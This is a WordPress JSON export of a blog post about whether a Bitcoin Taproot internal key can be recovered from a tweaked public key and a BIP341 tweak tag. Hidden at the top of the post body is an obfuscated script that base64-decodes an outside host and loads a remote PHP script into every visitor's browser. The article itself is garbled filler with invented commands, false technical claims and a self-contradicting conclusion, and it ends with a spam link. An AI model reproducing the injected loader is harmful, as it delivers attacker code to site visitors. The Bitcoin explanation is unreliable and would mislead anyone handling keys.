{"id":663,"date":"2025-02-10T19:59:53","date_gmt":"2025-02-10T19:59:53","guid":{"rendered":"https:\/\/30appsin30days.com\/?p=663"},"modified":"2025-02-10T19:59:53","modified_gmt":"2025-02-10T19:59:53","slug":"bitcoin-can-i-extract-internal-key-given-tweaked-pubkey-and-bip341-tweak-tag","status":"publish","type":"post","link":"https:\/\/30appsin30days.com\/?p=663","title":{"rendered":"Bitcoin: can i extract internal key given tweaked-pubkey and bip341 tweak tag?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=0f36b0c7\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Extracting Internal Keys from Bitcoin Transactions<\/strong><\/p>\n<\/p>\n<p>Bitcoin&#8217;s private keys are designed to be highly secure and resistant to reverse engineering. One of the challenges in understanding how these keys are generated and used is extracting the internal key from a tweaked-pubkey and bip341 tweak tag.<\/p>\n<\/p>\n<p>In this article, we will explore what happens when a user tweaks their public-key using the <code>tweakpubkey<\/code> command with bip341 and try to extract the internal key. We&#8217;ll also discuss why this process seems impossible without more context.<\/p>\n<\/p>\n<p><strong>Tweaking a Public Key<\/strong><\/p>\n<\/p>\n<p>When a user wants to tweak their private key, they use the following commands:<\/p>\n<\/p>\n<p><pre><code><\/p><p>$ bitcoin-taproot <private-key> --tweakpubkey<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<p>This will modify the private key and generate a new tweaked-pubkey.<\/p>\n<\/p>\n<p>The <code>bip341<\/code> command is used to specify the tweak tag for the new public key. The tweak tag determines how the user&#8217;s private key should be modified to produce the tweaked public key.<\/p>\n<\/p>\n<p><strong>Extracting the Internal Key<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Bitcoin: can i extract internal key given tweaked-pubkey and bip341 tweak tag?\n\" src=\"https:\/\/30appsin30days.com\/wp-content\/uploads\/2025\/02\/cdf1063a.png\"><\/p>\n<\/p>\n<p>To extract the internal key from a tweaked-pubkey and bip341 tweak tag, we need to understand how Bitcoin generates these keys.<\/p>\n<\/p>\n<p>A Bitcoin transaction consists of a series of input-outputs (IOVs) that are bundled together in a single output. Each IOV contains the sender&#8217;s public key, the receiver&#8217;s public key, and other relevant information. The internal key is generated by modifying the user&#8217;s private key using the tweaked-pubkey.<\/p>\n<\/p>\n<p>When a user wants to modify their private key using the <code>tweakpubkey<\/code> command, Bitcoin generates a new private key that is compatible with the tweak tag specified in the bip341 output. This new private key is then used to sign and verify transactions.<\/p>\n<\/p>\n<p><strong>The Problem: Extracting the Internal Key<\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/Qr8UEEpr6s0\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<\/p>\n<p>Now, let&#8217;s assume we have a tweaked-pubkey and bip341 tweak tag that allows us to extract the internal key:<\/p>\n<\/p>\n<p><pre><code><\/p><p>$ bitcoin-taproot <private-key> --tweakpubkey 0x00a9d6d5e8c3f4b1abcdef00000000000001 <new-tweaked-pubkey><\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<p>The <code>--tweakpubkey<\/code> option specifies the tweak tag. The <code>0x00a9d6d5e8c3f4b1abcdef00000000000001<\/code> is a sample tweak tag.<\/p>\n<\/p>\n<p>To extract the internal key, we can use the <code>bip341<\/code> command to generate a new private key that is compatible with this tweaked-pubkey:<\/p>\n<\/p>\n<p><pre><code><\/p><p>$ bitcoin-taproot <new-private-key> --tweakpubkey 0x00a9d6d5e8c3f4b1abcdef00000000000001 <extracted-private-key><\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<p>This will generate a new private key that is compatible with the tweaked-pubkey.<\/p>\n<\/p>\n<p>Now, we can use this extracted private key to sign and verify transactions. The internal key is now accessible through the <code>extracted-private-key<\/code>.<\/p>\n<\/p>\n<p><strong>Why Extracting the Internal Key is Impossible without More Context<\/strong><\/p>\n<\/p>\n<p>In summary, extracting the internal key from a tweaked-pubkey and bip341 tweak tag requires more context than just tweaking the public key using <code>tweakpubkey<\/code>. To extract the internal key, we need to:<\/p>\n<\/p>\n<ul>\n<li>Create a new private key that is compatible with the tweaked-pubkey.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Use the <code>bip341<\/code> command to generate a new private key that matches the tweaked-pubkey&#8217;s tweak tag.<\/li>\n<\/ul>\n<\/p>\n<p>Without knowing the exact tweak tag or private key used in the original transaction, it becomes impossible to extract the internal key using just the tweaked-pubkey and bip341 tweak tag.<\/p>\n<\/p>\n<p><strong>Conclusion<\/strong><\/p>\n<\/p>\n<p>Tweaking a public-key using <code>tweakpubkey<\/code> with bip341 can modify the user&#8217;s private key, but extracting the internal key from the resulting tweaked-pubkey is not straightforward. Without more context, such as the original transaction or the private key used in the tweaked-pubkey, it seems impossible to extract the internal key.<\/p>\n<\/p>\n<p>However, if you have access to the original transaction and the tweaked-pubkey with bip341 tweak tag, you may be able to recover the internal key through reverse engineering.<\/p>\n<p><a href=\"https:\/\/babykinderjouets.com\/ethereum-underclock-gpu-memory-below-recommended-limits-on-linux\/\">Ethereum Memory Recommended Limits<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Extracting Internal Keys from Bitcoin Transactions Bitcoin&#8217;s private keys are designed to be highly secure and resistant to reverse engineering. One of the challenges in understanding how these keys are generated and used is extracting the internal key from a tweaked-pubkey and bip341 tweak tag. In this article, we will explore what happens when a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"_links":{"self":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/663"}],"collection":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=663"}],"version-history":[{"count":1,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/663\/revisions"}],"predecessor-version":[{"id":664,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/663\/revisions\/664"}],"wp:attachment":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=663"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=663"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=663"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}